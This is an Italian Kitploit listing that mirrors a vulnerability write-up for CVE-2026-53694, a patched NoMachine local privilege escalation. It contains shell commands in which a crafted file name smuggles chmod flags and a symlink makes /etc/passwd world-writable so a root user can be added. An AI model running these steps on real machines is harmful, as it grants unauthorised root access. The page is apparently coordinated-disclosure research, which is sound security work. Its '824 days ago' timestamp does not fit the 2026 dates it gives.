Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-53694-NoMachine-LPE — Prova di concetto e analisi per CVE-2026-53694, un'escalation dei privilegi locali in NoMachine per Linux tramite iniezione di argomenti in nxchmod.sh, che consente l'accesso root attraverso la manipolazione di symlink. | Kitploit
Strumenti/GitHubGitHub/do4choo/cve-2026-53694-nomachine-lpe
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneBinary Exploitation
GitHubdo4choo/cve-2026-53694-nomachine-lpe

CVE-2026-53694-NoMachine-LPE

Prova di concetto e analisi per CVE-2026-53694, un'escalation dei privilegi locali in NoMachine per Linux tramite iniezione di argomenti in nxchmod.sh, che consente l'accesso root attraverso la manipolazione di symlink.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
824 giorni faNon ancora revisionato

CVE-2026-53694: Privilege Escalation Locale in NoMachine tramite Argument Injection

CVE Status Target Language

Panoramica

Questo repository contiene il write-up e la Proof of Concept (PoC) per CVE-2026-53694, una vulnerabilità di Privilege Escalation Locale (LPE) in NoMachine per Linux.

A causa di una neutralizzazione impropria dei delimitatori di argomenti nello script nxchmod.sh, un utente locale non privilegiato può iniettare argomenti in un comando di sistema eseguito come root. Combinando questa argument injection con un symbolic link, un attaccante può sovrascrivere file di sistema critici (come /etc/passwd) ed escalare i propri privilegi a root.

Questa vulnerabilità è stata completamente corretta dal vendor.

Il Processo di Scoperta

Trovare questa vulnerabilità è stato un processo fatto di tentativi, errori e una rivelazione a tarda notte. Ecco come si è svolta la scoperta:

  1. Osservare il Target: Ho notato che lo script /usr/NX/scripts/restricted/nxchmod.sh veniva eseguito periodicamente dall'utente root per gestire i permessi in directory specifiche.
  2. Idea Iniziale (Il Vicolo Cieco): Ho visto che lo script applicava chmod a+rw ai file. Ho pensato: Se controllo la destinazione, posso usare un symlink per rendere /etc/passwd scrivibile? Ho testato un symlink standard (ln -s /etc/passwd /tmp/asdf), ma ha fallito. Lo sticky bit di Linux su directory come /tmp impedisce all'utente root di seguire ciecamente un symlink creato da un altro utente.
  3. La Svolta: Mentre riesaminavo l'esecuzione dello script in un secondo momento, ho notato come veniva costruito il comando: ${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Lo script prendeva il nome del file letterale e lo passava direttamente a chmod.
  4. Command Injection tramite Nome File: Ho capito che potevo creare un file con spazi e flag nel suo nome. Ho creato un file chiamato X1234 -R -L. Quando lo script veniva eseguito, il comando chmod espandeva questo in argomenti anziché in un singolo percorso di file.
  5. Bypassare lo Sticky Bit: Iniettando i flag -L (segui symlink) e -R (ricorsivo) nel comando chmod tramite il nome del file, ho forzato il binario chmod stesso a risolvere e seguire il symlink che avevo creato nella directory, aggirando completamente la protezione dello sticky bit.
  6. Ottenere la LPE: Una volta che /etc/passwd è stato reso scrivibile (a+rw), ho potuto semplicemente aggiungere un nuovo utente root al file e fare su su di esso.

Analisi Tecnica

La vulnerabilità deriva da come NoMachine gestisce i permessi per i socket X11/Wayland. Lo script nxchmod.sh viene avviato dal daemon nxserver.bin in esecuzione come root.

L'esecuzione vulnerabile appare così:

# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}

Se un attaccante crea una struttura di directory e un file chiamato X1234 -R -L, il comando risultante eseguito da root diventa: /bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L

Quando un symlink che punta a /etc/passwd viene posizionato all'interno della directory X1234, gli argomenti iniettati -R e -L forzano chmod a seguire ricorsivamente il symlink e a concedere permessi globali di lettura/scrittura al file di destinazione.

Requisiti per lo Sfruttamento

Affinché questo exploit funzioni, il sistema target deve soddisfare le seguenti condizioni:

  • Il sistema operativo deve utilizzare Wayland (non X11).
  • Xwayland deve essere attivo.
  • Una sessione grafica deve essere in esecuzione (la schermata di login è sufficiente).

Proof of Concept

Puoi riprodurre questa vulnerabilità manualmente usando comandi shell o automaticamente usando lo script Python fornito.

Metodo 1: Esecuzione Manuale (Shell)

Naviga in /tmp/.X11-unix/ ed esegui i seguenti comandi per creare la struttura di directory malevola.

cd /tmp/.X11-unix/

# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn

# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.

Una volta verificata la vulnerabilità ed escalati i privilegi, esegui i seguenti comandi di pulizia per ripristinare la stabilità del sistema e rimuovere gli artefatti:

# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd

Metodo 2: Exploit Automatizzato

Un exploit completamente automatizzato è fornito in poc.py. Questo script verifica i requisiti di Wayland, imposta il symlink, attende il ciclo di esecuzione di nxchmod.sh e inietta un nuovo utente root (gg) in /etc/passwd

Per eseguire l'exploit:

python3 poc.py

Remediation

Questa vulnerabilità è stata risolta da NoMachine. Gli utenti dovrebbero aggiornare alle seguenti versioni o successive:

  • NoMachine 9.5.7
  • NoMachine 8.23.2

Timeline

  • 2026-04-20: Vulnerabilità segnalata al vendor.
  • 2026-04-23: Il vendor ha confermato la vulnerabilità e ha accettato la divulgazione coordinata.
  • 2026-05-07: Il vendor ha rilasciato le versioni corrette (9.5.7 e 8.23.2) e ha pubblicato il Trouble Report TR04X11802.
  • 2026-06-10: CVE-2026-53694 pubblicato su NVD.

Riferimenti

  • NoMachine Trouble Report TR04X11802
  • NoMachine Software Update SU05X00274
  • NoMachine Software Update SU05X00275
  • CVE-2026-53694
Scarica lo strumento